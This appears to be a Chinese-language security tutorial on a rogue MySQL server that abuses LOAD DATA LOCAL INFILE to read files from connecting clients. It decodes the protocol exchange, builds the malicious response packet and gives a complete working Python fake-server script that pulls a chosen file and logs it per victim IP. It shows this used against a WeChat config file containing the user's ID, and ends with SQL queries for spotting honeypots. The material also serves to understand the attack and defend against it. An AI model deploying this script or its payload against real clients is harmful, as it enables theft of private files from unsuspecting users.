伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,就可以任意读取客户端的指定文件。

交互过程

  • Win7(192.168.8.130)运行MySQL服务端,作Server端
  • Win10(192.168.8.1)使用Navicat进行连接,作Client端

image.png

  • 在Win10使用WireShark抓包,选择对应网卡并指定3306端口

image.png

  • 数据库中新建一个表

image.png

  • 新建查询,读取Client中指定文件 ```sql use test; load data local infile “D:/temp/Client.txt” into table testtable; # 此处文件路径可自定义

— load data infile “D:/temp/Client.txt” into table TestTable; # 读取Server端文件 — load data local infile “D:/temp/Client.txt” into table TestTable; # 读取Client端文件

  1. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1619689208429-a3d0d291-341e-4801-acc9-5dba42b6c3b3.png#crop=0&crop=0&crop=1&crop=1&height=342&id=Osteo&margin=%5Bobject%20Object%5D&name=image.png&originHeight=684&originWidth=1214&originalType=binary&ratio=1&rotation=0&showTitle=false&size=63849&status=done&style=none&title=&width=607)
  2. - 如果提示`--secure-file-priv`,需要修改MySQL配置文件,添加如下内容并重启MySQL
  3. ```sql
  4. [mysqld]
  5. secure-file-priv=

Wireshak抓包可以看到正常的执行流程如下:

  • Client向Server发起Load data local infile请求
  • Server返回需要读取的文件路径
  • Client读取文件内容并发送给Server

image.png
image.png
image.png

利用原理

从上面交互过程可以看出,在Client向Server发起查询后,Server会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。实际上Server可以在回复任何Client端的请求时返回Response TABULAR响应包,而不仅仅是在Client发起Load data local infile后。

Security Considerations for LOAD DATA LOCAL:A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.

  • 在交互过程第2步返回需要读取的文件路径,即Response TABULAR数据包部分内容如下:
    • 13,文件名长度+1
    • 00 00 01,数据包序号
    • fb,数据包类型
    • 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74,文件名 ``` 13 00 00 01 fb 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
  1. - 于是可以构造Payload
  2. ```python
  3. # chr(len(filename)+1) + "\x00\x00\x01\xfb" + filename
  4. filename = "D:/temp/Client.txt"
  5. evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
  • 尝试读取此文件

image.png

  • 尝试读取微信配置文件,其中包含微信ID
    • 默认路径:C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.dat

image.png
image.png

  • 但是读取该文件需要知道微信的安装位置,即使其安装在默认位置,也还需要知道目标电脑用户名,而目标用户名有一定几率在C:\Windows\PFRO.log文件中找到,因此利用难度较大。这里仅作演示以抛砖引玉。

    完整代码

    ```python

    coding=utf-8

    import socket import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 3306 server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((“”, port)) server.listen(5)

def get_data(filename, client, addr): base_path = os.path.abspath(‘.’) + “/log/“ + addr[0] if not os.path.exists(base_path): os.makedirs(base_path)

  1. evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
  2. client.sendall(evil_response)
  3. file_data = client.recv(999999)
  4. print(file_data)
  5. with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
  6. f.write(file_data)
  7. f.close()
  8. while True:
  9. # 建立客户端连接
  10. client, addr = server.accept()
  11. print("连接地址: %s" % str(addr))
  12. # 返回版本信息
  13. version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
  14. client.sendall(version_text)
  15. try:
  16. # 客户端请求信息
  17. client.recv(9999)
  18. except Exception as e:
  19. print(e)
  20. # Response OK
  21. verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
  22. client.sendall(verification)
  23. try:
  24. # SET NAMES utf8mb4
  25. client.recv(9999)
  26. except Exception as e:
  27. print(e)
  28. # Response TABULAR
  29. filename = "D:/temp/Client.txt"
  30. get_data(filename, client, addr)
  31. client.close()
  1. <a name="e967e131121f1b8b1fa2fc872587cb3e"></a>
  2. ## 蜜罐识别
  3. - 有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的
  4. - 许多蜜罐为了读取客户端的任意文件来识别攻击者的身份,会把客户端第一条执行的命令作为读取客户端文件的数据包返回
  5. - 登陆成功后通过SQL命令识别
  6. ```sql
  7. # 统计所有访问过的表次数:库名,表名,访问次数
  8. select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
  9. # 查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
  10. SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
  11. # 查看所有曾连接数据库的IP,总连接次数
  12. SELECT host,total_connections FROM sys.host_summary

参考文章